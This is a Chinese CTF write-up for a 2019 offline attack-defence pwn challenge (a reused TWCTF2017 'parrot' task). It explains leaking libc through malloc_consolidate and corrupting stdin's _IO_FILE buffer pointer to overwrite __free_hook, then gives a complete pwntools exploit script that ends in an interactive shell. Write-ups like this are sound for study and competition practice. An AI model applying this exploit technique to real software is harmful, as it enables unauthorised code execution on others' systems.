领航杯2019线下pwn

一言难尽的awd

TWCTF2017的原题parrot

首先触发malloc_consolidate,leak出libc地址。

然后利用任意地址写0去修改stdin的_IO_FILE结构。

在stdin的_IO_FILE结构中,_IO_buf_base_IO_buf_end指示了这个FILE使用buffer的位置,由于程序做了setbuf的操作,这个buffer就位于结构体内部_shortbuf的位置。如果将一个0写到_IO_buf_base的最低位,就可以将buffer往前扩展。在scanf输入时,输入的数据会覆盖掉_IO_buf_base指针自身,我们可以把它修改成__free_hook的地址。这样在本身buffer里面的字符消耗完之后,就可以进一步去修改__free_hook

exp:

1
2
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
one=[0x45216,0x4526a,0xf02a4,0xf1147]
debug = 1
if debug:
	sh = process("./pwn")
else:
	sh = remote("172.20.106.101", 9999)
def buf(size,content):
	sh.recvuntil("The size is:")
	sh.sendline(str(size))
	sh.recvuntil("The buffer is:")
	sh.send(content)
sleep(3)
buf(0x10,'\n')
buf(0x20,'\n')
buf(0x400,'a'*8)
sh.recvuntil("a"*8)
leak=u64(sh.recv(8))
libcbase=leak-0x7fcca726cb78+0x7fcca6ea8000
log.success("libcbase: "+hex(libcbase))
stdin=libcbase-0x7f4e07da2000+0x7f4e081668e0
log.success("stdin: "+hex(stdin))
freehook=libcbase-0x7fc892bc3000+0x7fc892f897a8
log.success("freehook: "+hex(freehook))
buf(stdin+0x38+1,'\n')
sh.recvuntil('The size is:\n')
sh.send('0' * 0x16 + '1\x00' + p64(freehook-8) + p64(freehook+8))

#通过输入一些字符来让buffer全都消耗掉
for i in range(17):
    sh.recvuntil('The buffer is:\n')
    sh.send('\n')
    sleep(0.1)
sh.recvuntil('The size is:\n') sh.send('\x00'*8 + p64(libcbase+one[1])) sh.recvuntil('The buffer is:\n') sh.send('\n') #gdb.attach(sh) sh.interactive()
文章目录
|